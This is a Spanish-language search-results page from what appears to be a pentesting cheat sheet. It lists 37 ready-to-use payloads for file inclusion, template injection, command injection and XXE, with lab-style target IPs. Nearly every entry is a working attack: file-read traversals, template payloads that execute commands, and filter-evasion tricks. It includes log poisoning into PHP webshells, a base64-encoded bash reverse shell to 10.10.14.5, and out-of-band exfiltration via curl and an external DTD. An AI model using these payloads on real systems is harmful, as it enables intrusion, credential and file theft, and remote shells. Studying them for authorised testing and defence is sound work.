Buscar en todo
37 resultados para «ssti» Ver todos los tipos
Comandos 37
-
SSTImap
LFI, SSTI, inyección de comandos y XXE › SSTI › Herramienta
python3 sstimap.py -u 'http://10.10.11.20/page?name=test' -
Linux
LFI, SSTI, inyección de comandos y XXE › LFI › Ficheros interesantes
/etc/passwd /etc/hosts /proc/self/cmdline /proc/self/environ /home/USUARIO/.ssh/id_rsa /var/www/html/config.php /etc/nginx/sites-enabled/default /etc/apache2/sites-enabled/000-default.conf -
Básico
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
../../../../../../etc/passwd -
Windows
LFI, SSTI, inyección de comandos y XXE › LFI › Ficheros interesantes
C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\inetpub\wwwroot\web.config C:\xampp\apache\conf\httpd.conf -
ERB (Ruby)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
<%= `id` %> -
Por tiempo
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › A ciegas
; sleep 5 -
Sin barras
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
cat ${HOME:0:1}etc${HOME:0:1}passwd -
Twig (PHP)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
{{ ['id']|filter('system') }} -
Sin espacios
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
cat${IFS}/etc/passwd {cat,/etc/passwd} cat</etc/passwd -
Incluir el log
LFI, SSTI, inyección de comandos y XXE › LFI › De LFI a RCE con logs
?page=/var/log/apache2/access.log&c=id -
Todo en base64
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx|base64 -d|bash -
Entidad externa
LFI, SSTI, inyección de comandos y XXE › XXE › Lectura de ficheros
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r> -
Alternativa corta
LFI, SSTI, inyección de comandos y XXE › SSTI › Jinja2 (Python / Flask)
{{ cycler.__init__.__globals__.os.popen('id').read() }} -
Freemarker (Java)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} -
Encadenar comandos
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Separadores
; id | id || id && id `id` $(id) -
Nunjucks (Node.js)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}} -
Ejecutar un comando
LFI, SSTI, inyección de comandos y XXE › SSTI › Jinja2 (Python / Flask)
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} -
Palabras prohibidas
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Evasión de filtros
c'a't /etc/passwd c\at /etc/passwd /???/c?t /etc/passwd -
Código PHP en base64
LFI, SSTI, inyección de comandos y XXE › XXE › Lectura de ficheros
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> <r>&x;</r> -
Fuera de banda por HTTP
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › A ciegas
; curl http://10.10.14.5/$(whoami) -
Fuera de banda por ICMP
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › A ciegas
; ping -c 2 10.10.14.5 -
Payload que carga la DTD
LFI, SSTI, inyección de comandos y XXE › XXE › A ciegas (fuera de banda)
<?xml version="1.0"?> <!DOCTYPE r [<!ENTITY % d SYSTEM "http://10.10.14.5/evil.dtd"> %d;]> <r>1</r> -
Codificado en URL (doble)
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd -
Salto de línea codificado
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › Separadores
%0aid -
Si se borra ../ una sola vez
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
....//....//....//....//etc/passwd -
DTD en tu servidor (evil.dtd)
LFI, SSTI, inyección de comandos y XXE › XXE › A ciegas (fuera de banda)
<!ENTITY % f SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"> <!ENTITY % e "<!ENTITY % x SYSTEM 'http://10.10.14.5/?d=%f;'>"> %e; %x; -
Operaciones según la sintaxis
LFI, SSTI, inyección de comandos y XXE › SSTI › Detección
{{7*7}} ${7*7} <%= 7*7 %> #{7*7} {{7*'7'}} -
Si exige empezar por una ruta
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
/var/www/html/../../../../etc/passwd -
Ejecutar código con php://input
LFI, SSTI, inyección de comandos y XXE › LFI › Wrappers de PHP
curl -X POST 'http://10.10.11.20/index.php?page=php://input' --data '<?php system("id"); ?>' -
Leer el código fuente en base64
LFI, SSTI, inyección de comandos y XXE › LFI › Wrappers de PHP
php://filter/convert.base64-encode/resource=index.php -
Byte nulo (PHP anterior a 5.3.4)
LFI, SSTI, inyección de comandos y XXE › LFI › Path traversal
../../../../etc/passwd%00 -
RCE sin subir nada (filter chain)
LFI, SSTI, inyección de comandos y XXE › LFI › Wrappers de PHP
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>' -
Envenenar el log con el User-Agent
LFI, SSTI, inyección de comandos y XXE › LFI › De LFI a RCE con logs
curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>' -
Cadena que rompe casi cualquier motor
LFI, SSTI, inyección de comandos y XXE › SSTI › Detección
${{<%[%'"}}%\. -
Sin puntos ni guiones bajos (filtros)
LFI, SSTI, inyección de comandos y XXE › SSTI › Jinja2 (Python / Flask)
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }} -
Spring / Thymeleaf (expresiones SpEL)
LFI, SSTI, inyección de comandos y XXE › SSTI › Otros motores
${T(java.lang.Runtime).getRuntime().exec('id')} -
Ejecutar código con data:// (allow_url_include)
LFI, SSTI, inyección de comandos y XXE › LFI › Wrappers de PHP
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id